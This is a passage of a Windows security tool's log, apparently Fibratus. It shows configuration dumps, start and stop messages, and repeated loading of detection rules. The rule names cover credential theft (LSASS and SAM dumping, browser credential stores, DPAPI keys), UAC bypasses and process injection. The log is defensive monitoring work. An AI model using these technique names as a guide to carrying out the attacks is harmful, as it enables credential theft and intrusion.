srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T12:01:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T12:01:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T12:02:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T12:02:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T12:02:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T12:14:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T12:14:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:14:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T12:14:52+01:00 level=info msg=bootstrapping with pid 18068. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T12:14:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false to=>[] port=>25 use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false buffer-size=>512 max-buffers=>36 enable-audit-api=>true enable-mem=>true min-buffers=>16 enable-image=>true enable-net=>true enable-threadpool=>false enable-vamap=>true enable-thread=>true enable-dns=>false enable-registry=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true level=>info max-age=>0 max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false gzip-compression=>false healthcheck-interval=>10s timeout=>5s bulk-workers=>1 healthcheck=>true template-name=>fibratus healthcheck-timeout=>5s sniff=>false index-name=>fibratus] http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false vhost=>/ enabled=>false routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient passive=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-allocs=>false skip-mmaps=>false skip-registry=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-04T12:14:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T12:14:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T12:16:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T12:16:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T12:16:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T13:25:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from 